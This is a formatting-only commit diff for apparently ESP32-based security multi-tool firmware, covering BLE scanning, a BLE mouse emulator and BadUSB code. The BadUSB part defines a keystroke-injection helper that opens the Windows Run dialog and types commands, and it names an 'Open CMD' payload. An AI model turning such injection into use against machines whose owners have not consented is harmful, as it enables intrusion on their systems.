orion-rf58c9c8f
add .clang-format, and apply formatting
+4276 −4051
27 files changed
- A .clang-format +4 −0
- M src/bluetooth/ble_mouse.cpp +43 −43
- M src/bluetooth/blescanner.cpp +136 −134
- M src/config.h +4 −5
- M src/hid/badusb.cpp +363 −338
- M src/hid/badusb.h +1 −0
- M src/libs/Adafruit_PN532.cpp +973 −961
- M src/libs/Adafruit_PN532.h +85 −83
- M src/libs/BleConnectionStatus.cpp +11 −12
- M src/libs/BleConnectionStatus.h +8 −9
- M src/libs/BleMouse.cpp +121 −129
- M src/libs/BleMouse.h +34 −27
- M src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp +1396 −1223
- M src/libs/ELECHOUSE_CC1101_SRC_DRV.h +177 −168
- M src/main.cpp +48 −48
- M src/nfc/nfc.cpp +51 −51
- M src/rf/cc1101.cpp +210 −210
- M src/rf/nrf24.cpp +106 −105
- M src/rf/nrf24.h +1 −1
- M src/ui/display.cpp +3 −3
- M src/ui/menu.cpp +198 −198
- M src/ui/menu.h +1 −2
- M src/utils/buttons.cpp +6 −6
- M src/utils/device_check.cpp +73 −73
- M src/utils/sysinfo.cpp +56 −56
- M src/wifi/wifi_analyzer.cpp +80 −79
- M src/wifi/wifi_scan.cpp +87 −87
| @@ -0,0 +1,4 @@ | |||
| 1 | + | BasedOnStyle: LLVM | |
| 2 | + | IndentWidth: 4 | |
| 3 | + | TabWidth: 4 | |
| 4 | + | UseTab: Never | |
| @@ -12,62 +12,62 @@ extern BleMouse bleMouse; | |||
| 12 | 12 | ||
| 13 | 13 | // ===== MAIN ===== | |
| 14 | 14 | void ble_mouse_run() { | |
| 15 | − | u8g2.clearBuffer(); | |
| 16 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 17 | − | u8g2.drawStr(10, 25, "BLE Mouse"); | |
| 18 | − | u8g2.drawStr(10, 45, "Connecting..."); | |
| 19 | − | u8g2.sendBuffer(); | |
| 15 | + | u8g2.clearBuffer(); | |
| 16 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 17 | + | u8g2.drawStr(10, 25, "BLE Mouse"); | |
| 18 | + | u8g2.drawStr(10, 45, "Connecting..."); | |
| 19 | + | u8g2.sendBuffer(); | |
| 20 | 20 | ||
| 21 | − | delay(800); | |
| 21 | + | delay(800); | |
| 22 | 22 | ||
| 23 | − | while (1) { | |
| 24 | − | // 🔥 EXIT FIRST (clean) | |
| 25 | − | if (btnBack()) | |
| 26 | − | break; | |
| 23 | + | while (1) { | |
| 24 | + | // 🔥 EXIT FIRST (clean) | |
| 25 | + | if (btnBack()) | |
| 26 | + | break; | |
| 27 | 27 | ||
| 28 | − | bool connected = bleMouse.isConnected(); | |
| 28 | + | bool connected = bleMouse.isConnected(); | |
| 29 | 29 | ||
| 30 | − | int dx = 0; | |
| 31 | − | int dy = 0; | |
| 30 | + | int dx = 0; | |
| 31 | + | int dy = 0; | |
| 32 | 32 | ||
| 33 | − | if (connected) { | |
| 34 | − | if (!digitalRead(BTN_UP)) | |
| 35 | − | dy = -6; | |
| 36 | − | if (!digitalRead(BTN_DOWN)) | |
| 37 | − | dy = 6; | |
| 38 | − | if (!digitalRead(BTN_LEFT)) | |
| 39 | − | dx = -6; | |
| 40 | − | if (!digitalRead(BTN_RIGHT)) | |
| 41 | − | dx = 6; | |
| 33 | + | if (connected) { | |
| 34 | + | if (!digitalRead(BTN_UP)) | |
| 35 | + | dy = -6; | |
| 36 | + | if (!digitalRead(BTN_DOWN)) | |
| 37 | + | dy = 6; | |
| 38 | + | if (!digitalRead(BTN_LEFT)) | |
| 39 | + | dx = -6; | |
| 40 | + | if (!digitalRead(BTN_RIGHT)) | |
| 41 | + | dx = 6; | |
| 42 | 42 | ||
| 43 | − | if (dx || dy) | |
| 44 | − | bleMouse.move(dx, dy); | |
| 43 | + | if (dx || dy) | |
| 44 | + | bleMouse.move(dx, dy); | |
| 45 | 45 | ||
| 46 | − | // ✅ single click (not spam) | |
| 47 | − | static bool lastSelect = false; | |
| 48 | − | bool currentSelect = !digitalRead(BTN_SELECT); | |
| 46 | + | // ✅ single click (not spam) | |
| 47 | + | static bool lastSelect = false; | |
| 48 | + | bool currentSelect = !digitalRead(BTN_SELECT); | |
| 49 | 49 | ||
| 50 | − | if (currentSelect && !lastSelect) | |
| 51 | − | bleMouse.click(MOUSE_LEFT); | |
| 50 | + | if (currentSelect && !lastSelect) | |
| 51 | + | bleMouse.click(MOUSE_LEFT); | |
| 52 | 52 | ||
| 53 | − | lastSelect = currentSelect; | |
| 54 | − | } | |
| 53 | + | lastSelect = currentSelect; | |
| 54 | + | } | |
| 55 | 55 | ||
| 56 | − | // ===== UI ===== | |
| 57 | − | u8g2.clearBuffer(); | |
| 58 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 56 | + | // ===== UI ===== | |
| 57 | + | u8g2.clearBuffer(); | |
| 58 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 59 | 59 | ||
| 60 | − | u8g2.drawStr(10, 20, "BLE Mouse"); | |
| 60 | + | u8g2.drawStr(10, 20, "BLE Mouse"); | |
| 61 | 61 | ||
| 62 | − | if (connected) | |
| 63 | − | u8g2.drawStr(10, 35, "Connected"); | |
| 64 | − | else | |
| 65 | − | u8g2.drawStr(10, 35, "Waiting"); | |
| 62 | + | if (connected) | |
| 63 | + | u8g2.drawStr(10, 35, "Connected"); | |
| 64 | + | else | |
| 65 | + | u8g2.drawStr(10, 35, "Waiting"); | |
| 66 | 66 | ||
| 67 | − | u8g2.drawStr(10, 55, "BACK = Exit"); | |
| 67 | + | u8g2.drawStr(10, 55, "BACK = Exit"); | |
| 68 | 68 | ||
| 69 | − | u8g2.sendBuffer(); | |
| 69 | + | u8g2.sendBuffer(); | |
| 70 | 70 | ||
| 71 | − | delay(10); // important for BLE stability | |
| 72 | − | } | |
| 71 | + | delay(10); // important for BLE stability | |
| 72 | + | } | |
| 73 | 73 | } | |
| @@ -10,11 +10,11 @@ | |||
| 10 | 10 | ||
| 11 | 11 | // ===== DEVICE STRUCT ===== | |
| 12 | 12 | struct BLEDeviceInfo { | |
| 13 | − | String name; | |
| 14 | − | String address; | |
| 15 | − | int rssi; | |
| 16 | − | String manufacturer; | |
| 17 | − | String deviceType; | |
| 13 | + | String name; | |
| 14 | + | String address; | |
| 15 | + | int rssi; | |
| 16 | + | String manufacturer; | |
| 17 | + | String deviceType; | |
| 18 | 18 | }; | |
| 19 | 19 | ||
| 20 | 20 | static std::vector<BLEDeviceInfo> devices; | |
| @@ -23,168 +23,170 @@ static int selectedIndex = 0; | |||
| 23 | 23 | ||
| 24 | 24 | // ===== CALLBACK ===== | |
| 25 | 25 | class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { | |
| 26 | − | void onResult(BLEAdvertisedDevice advertisedDevice) override { | |
| 27 | − | BLEDeviceInfo dev; | |
| 28 | − | ||
| 29 | − | String tempName = advertisedDevice.getName().c_str(); | |
| 30 | − | ||
| 31 | − | if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { | |
| 32 | − | tempName = advertisedDevice.getServiceData().c_str(); | |
| 33 | − | } | |
| 34 | − | ||
| 35 | − | if (tempName.length() == 0) { | |
| 36 | − | String addr = advertisedDevice.getAddress().toString().c_str(); | |
| 37 | − | tempName = "BLE_" + addr.substring(addr.length() - 5); | |
| 38 | − | } | |
| 39 | − | ||
| 40 | − | dev.name = tempName; | |
| 41 | − | dev.address = advertisedDevice.getAddress().toString().c_str(); | |
| 42 | − | dev.rssi = advertisedDevice.getRSSI(); | |
| 43 | − | ||
| 44 | − | if (advertisedDevice.haveManufacturerData()) { | |
| 45 | − | String mData = advertisedDevice.getManufacturerData().c_str(); | |
| 46 | − | ||
| 47 | − | if (mData.length() >= 2) { | |
| 48 | − | char buffer[10]; | |
| 49 | − | sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]); | |
| 50 | − | dev.manufacturer = String(buffer); | |
| 51 | − | } else { | |
| 52 | − | dev.manufacturer = "unknown"; | |
| 53 | − | } | |
| 54 | − | } else { | |
| 55 | − | dev.manufacturer = "unknown"; | |
| 26 | + | void onResult(BLEAdvertisedDevice advertisedDevice) override { | |
| 27 | + | BLEDeviceInfo dev; | |
| 28 | + | ||
| 29 | + | String tempName = advertisedDevice.getName().c_str(); | |
| 30 | + | ||
| 31 | + | if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { | |
| 32 | + | tempName = advertisedDevice.getServiceData().c_str(); | |
| 33 | + | } | |
| 34 | + | ||
| 35 | + | if (tempName.length() == 0) { | |
| 36 | + | String addr = advertisedDevice.getAddress().toString().c_str(); | |
| 37 | + | tempName = "BLE_" + addr.substring(addr.length() - 5); | |
| 38 | + | } | |
| 39 | + | ||
| 40 | + | dev.name = tempName; | |
| 41 | + | dev.address = advertisedDevice.getAddress().toString().c_str(); | |
| 42 | + | dev.rssi = advertisedDevice.getRSSI(); | |
| 43 | + | ||
| 44 | + | if (advertisedDevice.haveManufacturerData()) { | |
| 45 | + | String mData = advertisedDevice.getManufacturerData().c_str(); | |
| 46 | + | ||
| 47 | + | if (mData.length() >= 2) { | |
| 48 | + | char buffer[10]; | |
| 49 | + | sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], | |
| 50 | + | (uint8_t)mData[0]); | |
| 51 | + | dev.manufacturer = String(buffer); | |
| 52 | + | } else { | |
| 53 | + | dev.manufacturer = "unknown"; | |
| 54 | + | } | |
| 55 | + | } else { | |
| 56 | + | dev.manufacturer = "unknown"; | |
| 57 | + | } | |
| 58 | + | ||
| 59 | + | if (advertisedDevice.haveServiceUUID()) { | |
| 60 | + | dev.deviceType = | |
| 61 | + | advertisedDevice.getServiceUUID().toString().c_str(); | |
| 62 | + | } else { | |
| 63 | + | dev.deviceType = "unknown"; | |
| 64 | + | } | |
| 65 | + | ||
| 66 | + | devices.push_back(dev); | |
| 56 | 67 | } | |
| 57 | − | ||
| 58 | − | if (advertisedDevice.haveServiceUUID()) { | |
| 59 | − | dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str(); | |
| 60 | − | } else { | |
| 61 | − | dev.deviceType = "unknown"; | |
| 62 | − | } | |
| 63 | − | ||
| 64 | − | devices.push_back(dev); | |
| 65 | − | } | |
| 66 | 68 | }; | |
| 67 | 69 | ||
| 68 | 70 | // ===== DRAW MENU ===== | |
| 69 | 71 | void ble_drawMenu() { | |
| 70 | − | u8g2.clearBuffer(); | |
| 72 | + | u8g2.clearBuffer(); | |
| 71 | 73 | ||
| 72 | − | if (devices.empty()) { | |
| 73 | − | u8g2.setFont(u8g2_font_6x12_tr); | |
| 74 | − | u8g2.drawStr(0, 30, "No devices"); | |
| 75 | − | u8g2.drawStr(0, 45, "Press BACK"); | |
| 76 | − | } else { | |
| 77 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 74 | + | if (devices.empty()) { | |
| 75 | + | u8g2.setFont(u8g2_font_6x12_tr); | |
| 76 | + | u8g2.drawStr(0, 30, "No devices"); | |
| 77 | + | u8g2.drawStr(0, 45, "Press BACK"); | |
| 78 | + | } else { | |
| 79 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 78 | 80 | ||
| 79 | − | char counter[20]; | |
| 80 | − | sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); | |
| 81 | − | u8g2.drawStr(0, 8, counter); | |
| 81 | + | char counter[20]; | |
| 82 | + | sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); | |
| 83 | + | u8g2.drawStr(0, 8, counter); | |
| 82 | 84 | ||
| 83 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 85 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 84 | 86 | ||
| 85 | − | for (int i = 0; i < 3; i++) { | |
| 86 | − | int idx = selectedIndex + i; | |
| 87 | − | if (idx >= devices.size()) | |
| 88 | − | break; | |
| 87 | + | for (int i = 0; i < 3; i++) { | |
| 88 | + | int idx = selectedIndex + i; | |
| 89 | + | if (idx >= devices.size()) | |
| 90 | + | break; | |
| 89 | 91 | ||
| 90 | − | int y = 22 + i * 14; | |
| 92 | + | int y = 22 + i * 14; | |
| 91 | 93 | ||
| 92 | − | if (i == 0) { | |
| 93 | − | u8g2.drawBox(0, y - 10, 128, 12); | |
| 94 | − | u8g2.setDrawColor(0); | |
| 95 | − | } | |
| 94 | + | if (i == 0) { | |
| 95 | + | u8g2.drawBox(0, y - 10, 128, 12); | |
| 96 | + | u8g2.setDrawColor(0); | |
| 97 | + | } | |
| 96 | 98 | ||
| 97 | − | String text = devices[idx].name; | |
| 98 | − | if (text.length() > 12) | |
| 99 | − | text = text.substring(0, 12) + ".."; | |
| 99 | + | String text = devices[idx].name; | |
| 100 | + | if (text.length() > 12) | |
| 101 | + | text = text.substring(0, 12) + ".."; | |
| 100 | 102 | ||
| 101 | − | text += " (" + String(devices[idx].rssi) + ")"; | |
| 103 | + | text += " (" + String(devices[idx].rssi) + ")"; | |
| 102 | 104 | ||
| 103 | − | u8g2.drawStr(2, y, text.c_str()); | |
| 105 | + | u8g2.drawStr(2, y, text.c_str()); | |
| 104 | 106 | ||
| 105 | − | if (i == 0) | |
| 106 | − | u8g2.setDrawColor(1); | |
| 107 | + | if (i == 0) | |
| 108 | + | u8g2.setDrawColor(1); | |
| 109 | + | } | |
| 107 | 110 | } | |
| 108 | − | } | |
| 109 | 111 | ||
| 110 | − | u8g2.sendBuffer(); | |
| 112 | + | u8g2.sendBuffer(); | |
| 111 | 113 | } | |
| 112 | 114 | ||
| 113 | 115 | // ===== DEVICE DETAILS ===== | |
| 114 | 116 | void ble_drawDetails(const BLEDeviceInfo &dev) { | |
| 115 | − | u8g2.clearBuffer(); | |
| 116 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 117 | + | u8g2.clearBuffer(); | |
| 118 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 117 | 119 | ||
| 118 | − | u8g2.drawStr(0, 10, dev.name.c_str()); | |
| 119 | − | u8g2.drawStr(0, 20, dev.address.c_str()); | |
| 120 | + | u8g2.drawStr(0, 10, dev.name.c_str()); | |
| 121 | + | u8g2.drawStr(0, 20, dev.address.c_str()); | |
| 120 | 122 | ||
| 121 | − | char rssiStr[20]; | |
| 122 | − | sprintf(rssiStr, "RSSI: %d", dev.rssi); | |
| 123 | − | u8g2.drawStr(0, 30, rssiStr); | |
| 123 | + | char rssiStr[20]; | |
| 124 | + | sprintf(rssiStr, "RSSI: %d", dev.rssi); | |
| 125 | + | u8g2.drawStr(0, 30, rssiStr); | |
| 124 | 126 | ||
| 125 | − | u8g2.drawStr(0, 40, dev.manufacturer.c_str()); | |
| 127 | + | u8g2.drawStr(0, 40, dev.manufacturer.c_str()); | |
| 126 | 128 | ||
| 127 | − | u8g2.sendBuffer(); | |
| 129 | + | u8g2.sendBuffer(); | |
| 128 | 130 | } | |
| 129 | 131 | ||
| 130 | 132 | // ===== SCAN ===== | |
| 131 | 133 | void ble_scan() { | |
| 132 | − | devices.clear(); | |
| 133 | − | ||
| 134 | − | u8g2.clearBuffer(); | |
| 135 | − | u8g2.drawStr(10, 30, "Scanning..."); | |
| 136 | − | u8g2.sendBuffer(); | |
| 137 | − | ||
| 138 | − | BLEDevice::init(""); | |
| 139 | − | ||
| 140 | − | pBLEScan = BLEDevice::getScan(); | |
| 141 | − | pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), | |
| 142 | − | false); | |
| 143 | − | pBLEScan->setActiveScan(true); | |
| 144 | − | pBLEScan->setInterval(100); | |
| 145 | − | pBLEScan->setWindow(99); | |
| 146 | − | ||
| 147 | − | pBLEScan->start(5, false); | |
| 148 | − | ||
| 149 | − | // remove duplicates | |
| 150 | − | std::vector<BLEDeviceInfo> unique; | |
| 151 | − | for (auto &d : devices) { | |
| 152 | − | bool exists = false; | |
| 153 | − | for (auto &u : unique) { | |
| 154 | − | if (u.address == d.address) { | |
| 155 | − | exists = true; | |
| 156 | − | break; | |
| 157 | − | } | |
| 134 | + | devices.clear(); | |
| 135 | + | ||
| 136 | + | u8g2.clearBuffer(); | |
| 137 | + | u8g2.drawStr(10, 30, "Scanning..."); | |
| 138 | + | u8g2.sendBuffer(); | |
| 139 | + | ||
| 140 | + | BLEDevice::init(""); | |
| 141 | + | ||
| 142 | + | pBLEScan = BLEDevice::getScan(); | |
| 143 | + | pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), | |
| 144 | + | false); | |
| 145 | + | pBLEScan->setActiveScan(true); | |
| 146 | + | pBLEScan->setInterval(100); | |
| 147 | + | pBLEScan->setWindow(99); | |
| 148 | + | ||
| 149 | + | pBLEScan->start(5, false); | |
| 150 | + | ||
| 151 | + | // remove duplicates | |
| 152 | + | std::vector<BLEDeviceInfo> unique; | |
| 153 | + | for (auto &d : devices) { | |
| 154 | + | bool exists = false; | |
| 155 | + | for (auto &u : unique) { | |
| 156 | + | if (u.address == d.address) { | |
| 157 | + | exists = true; | |
| 158 | + | break; | |
| 159 | + | } | |
| 160 | + | } | |
| 161 | + | if (!exists) | |
| 162 | + | unique.push_back(d); | |
| 158 | 163 | } | |
| 159 | − | if (!exists) | |
| 160 | − | unique.push_back(d); | |
| 161 | − | } | |
| 162 | 164 | ||
| 163 | − | devices = unique; | |
| 165 | + | devices = unique; | |
| 164 | 166 | } | |
| 165 | 167 | ||
| 166 | 168 | // ===== MAIN LOOP ===== | |
| 167 | 169 | void ble_loop() { | |
| 168 | − | static uint32_t lastPress = 0; | |
| 169 | − | ||
| 170 | − | if (millis() - lastPress < 200) | |
| 171 | − | return; | |
| 172 | − | ||
| 173 | − | if (btnDown() && selectedIndex < (int)devices.size() - 1) { | |
| 174 | − | selectedIndex++; | |
| 175 | − | ble_drawMenu(); | |
| 176 | − | lastPress = millis(); | |
| 177 | − | } else if (btnUp() && selectedIndex > 0) { | |
| 178 | − | selectedIndex--; | |
| 179 | − | ble_drawMenu(); | |
| 180 | − | lastPress = millis(); | |
| 181 | − | } else if (btnSelect() && !devices.empty()) { | |
| 182 | − | ble_drawDetails(devices[selectedIndex]); | |
| 183 | − | delay(3000); | |
| 184 | − | ble_drawMenu(); | |
| 185 | − | lastPress = millis(); | |
| 186 | − | } else if (btnBack()) { | |
| 187 | − | lastPress = millis(); | |
| 188 | − | return; | |
| 189 | − | } | |
| 170 | + | static uint32_t lastPress = 0; | |
| 171 | + | ||
| 172 | + | if (millis() - lastPress < 200) | |
| 173 | + | return; | |
| 174 | + | ||
| 175 | + | if (btnDown() && selectedIndex < (int)devices.size() - 1) { | |
| 176 | + | selectedIndex++; | |
| 177 | + | ble_drawMenu(); | |
| 178 | + | lastPress = millis(); | |
| 179 | + | } else if (btnUp() && selectedIndex > 0) { | |
| 180 | + | selectedIndex--; | |
| 181 | + | ble_drawMenu(); | |
| 182 | + | lastPress = millis(); | |
| 183 | + | } else if (btnSelect() && !devices.empty()) { | |
| 184 | + | ble_drawDetails(devices[selectedIndex]); | |
| 185 | + | delay(3000); | |
| 186 | + | ble_drawMenu(); | |
| 187 | + | lastPress = millis(); | |
| 188 | + | } else if (btnBack()) { | |
| 189 | + | lastPress = millis(); | |
| 190 | + | return; | |
| 191 | + | } | |
| 190 | 192 | } | |
| @@ -27,11 +27,10 @@ | |||
| 27 | 27 | #define CC1101_GDO2 42 | |
| 28 | 28 | ||
| 29 | 29 | // SD Card via HSPI | |
| 30 | − | //#define SD_SCK 14 | |
| 31 | − | //#define SD_MISO 39 | |
| 32 | − | //#define SD_MOSI 38 | |
| 33 | − | //#define SD_CS 37 | |
| 34 | − | ||
| 30 | + | // #define SD_SCK 14 | |
| 31 | + | // #define SD_MISO 39 | |
| 32 | + | // #define SD_MOSI 38 | |
| 33 | + | // #define SD_CS 37 | |
| 35 | 34 | ||
| 36 | 35 | // =================== Buttons ==================== | |
| 37 | 36 | #define BTN_UP 4 | |
| @@ -5,417 +5,442 @@ | |||
| 5 | 5 | extern USBHIDKeyboard Keyboard; | |
| 6 | 6 | ||
| 7 | 7 | void runCommand(const char *command) { | |
| 8 | − | Keyboard.press(KEY_LEFT_GUI); | |
| 9 | − | Keyboard.press('r'); | |
| 10 | − | delay(100); | |
| 11 | − | Keyboard.releaseAll(); | |
| 12 | − | delay(300); | |
| 13 | − | Keyboard.print(command); | |
| 14 | − | Keyboard.write(KEY_RETURN); | |
| 8 | + | Keyboard.press(KEY_LEFT_GUI); | |
| 9 | + | Keyboard.press('r'); | |
| 10 | + | delay(100); | |
| 11 | + | Keyboard.releaseAll(); | |
| 12 | + | delay(300); | |
| 13 | + | Keyboard.print(command); | |
| 14 | + | Keyboard.write(KEY_RETURN); | |
| 15 | 15 | } | |
| 16 | 16 | ||
| 17 | 17 | void showRunningScreen(String taskName, uint8_t duration = 5) { | |
| 18 | − | u8g2.clearBuffer(); | |
| 19 | − | u8g2.setFont(u8g2_font_6x12_tf); | |
| 20 | − | u8g2.drawStr(0, 15, "Running:"); | |
| 21 | − | u8g2.drawStr(0, 30, taskName.c_str()); | |
| 22 | − | u8g2.drawFrame(0, 45, 128, 10); | |
| 23 | − | ||
| 24 | − | static const unsigned char image_download_bits[] U8X8_PROGMEM = { | |
| 25 | − | 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, | |
| 26 | − | 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, | |
| 27 | − | 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00, | |
| 28 | − | 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, | |
| 29 | − | 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e, | |
| 30 | − | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, | |
| 31 | − | 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e, | |
| 32 | − | 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, | |
| 33 | − | 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, | |
| 34 | − | 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, | |
| 35 | − | 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00}; | |
| 36 | − | static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = { | |
| 37 | − | 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf, | |
| 38 | − | 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe, | |
| 39 | − | 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03, | |
| 40 | − | 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff, | |
| 41 | − | 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78, | |
| 42 | − | 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00}; | |
| 43 | − | ||
| 44 | − | u8g2.setFontMode(1); | |
| 45 | − | u8g2.setBitmapMode(1); | |
| 46 | − | // download | |
| 47 | − | u8g2.drawXBMP(80, 2, 48, 22, image_download_bits); | |
| 48 | − | ||
| 49 | − | // EviSmile1 | |
| 50 | − | u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits); | |
| 51 | − | ||
| 52 | − | for (uint8_t i = 0; i <= duration; i++) { | |
| 53 | − | u8g2.drawBox(1, 46, i * (126.0 / duration), 8); | |
| 54 | − | u8g2.sendBuffer(); | |
| 55 | − | delay(50); | |
| 56 | − | } | |
| 18 | + | u8g2.clearBuffer(); | |
| 19 | + | u8g2.setFont(u8g2_font_6x12_tf); | |
| 20 | + | u8g2.drawStr(0, 15, "Running:"); | |
| 21 | + | u8g2.drawStr(0, 30, taskName.c_str()); | |
| 22 | + | u8g2.drawFrame(0, 45, 128, 10); | |
| 23 | + | ||
| 24 | + | static const unsigned char image_download_bits[] U8X8_PROGMEM = { | |
| 25 | + | 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, | |
| 26 | + | 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, | |
| 27 | + | 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00, | |
| 28 | + | 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, | |
| 29 | + | 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e, | |
| 30 | + | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, | |
| 31 | + | 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e, | |
| 32 | + | 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, | |
| 33 | + | 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, | |
| 34 | + | 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, | |
| 35 | + | 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00}; | |
| 36 | + | static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = { | |
| 37 | + | 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf, | |
| 38 | + | 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe, | |
| 39 | + | 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03, | |
| 40 | + | 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff, | |
| 41 | + | 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78, | |
| 42 | + | 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00}; | |
| 43 | + | ||
| 44 | + | u8g2.setFontMode(1); | |
| 45 | + | u8g2.setBitmapMode(1); | |
| 46 | + | // download | |
| 47 | + | u8g2.drawXBMP(80, 2, 48, 22, image_download_bits); | |
| 48 | + | ||
| 49 | + | // EviSmile1 | |
| 50 | + | u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits); | |
| 51 | + | ||
| 52 | + | for (uint8_t i = 0; i <= duration; i++) { | |
| 53 | + | u8g2.drawBox(1, 46, i * (126.0 / duration), 8); | |
| 54 | + | u8g2.sendBuffer(); | |
| 55 | + | delay(50); | |
| 56 | + | } | |
| 57 | 57 | } | |
| 58 | 58 | ||
| 59 | 59 | void typeSlow(const char *text, int delayMs = 25) { | |
| 60 | − | while (*text) { | |
| 61 | − | Keyboard.print(*text); | |
| 62 | − | delay(delayMs); | |
| 63 | − | text++; | |
| 64 | − | } | |
| 60 | + | while (*text) { | |
| 61 | + | Keyboard.print(*text); | |
| 62 | + | delay(delayMs); | |
| 63 | + | text++; | |
| 64 | + | } | |
| 65 | 65 | } | |
| 66 | 66 | ||
| 67 | 67 | void badUSBMenu(int index) { | |
| 68 | − | // switch (index) | |
| 69 | − | // { | |
| 70 | − | // case 0: | |
| 71 | − | // runBadUSBDemo(); | |
| 72 | − | // break; | |
| 68 | + | // switch (index) | |
| 69 | + | // { | |
| 70 | + | // case 0: | |
| 71 | + | // runBadUSBDemo(); | |
| 72 | + | // break; | |
| 73 | 73 | ||
| 74 | − | // case 1: | |
| 75 | − | // Serial.println("Open CMD payload"); | |
| 76 | − | // runBadUSBOpenCMD(); | |
| 77 | − | // break; | |
| 74 | + | // case 1: | |
| 75 | + | // Serial.println("Open CMD payload"); | |
| 76 | + | // runBadUSBOpenCMD(); | |
| 77 | + | // break; | |
| 78 | 78 | ||
| 79 | − | // case 2: | |
| 80 | − | // Serial.println("Rickroll payload"); | |
| 81 | − | // runBadUSBRickroll(); | |
| 82 | − | // break; | |
| 83 | − | // } | |
| 79 | + | // case 2: | |
| 80 | + | // Serial.println("Rickroll payload"); | |
| 81 | + | // runBadUSBRickroll(); | |
| 82 | + | // break; | |
| 83 | + | // } | |
| 84 | 84 | ||
| 85 | − | switch (index) { | |
| 86 | − | // ================= ORION DEMO ================= | |
| 87 | − | case 0: | |
| 88 | − | showRunningScreen("ORION Demo"); | |
| 85 | + | switch (index) { | |
| 86 | + | // ================= ORION DEMO ================= | |
| 87 | + | case 0: | |
| 88 | + | showRunningScreen("ORION Demo"); | |
| 89 | 89 | ||
| 90 | − | runCommand("notepad"); | |
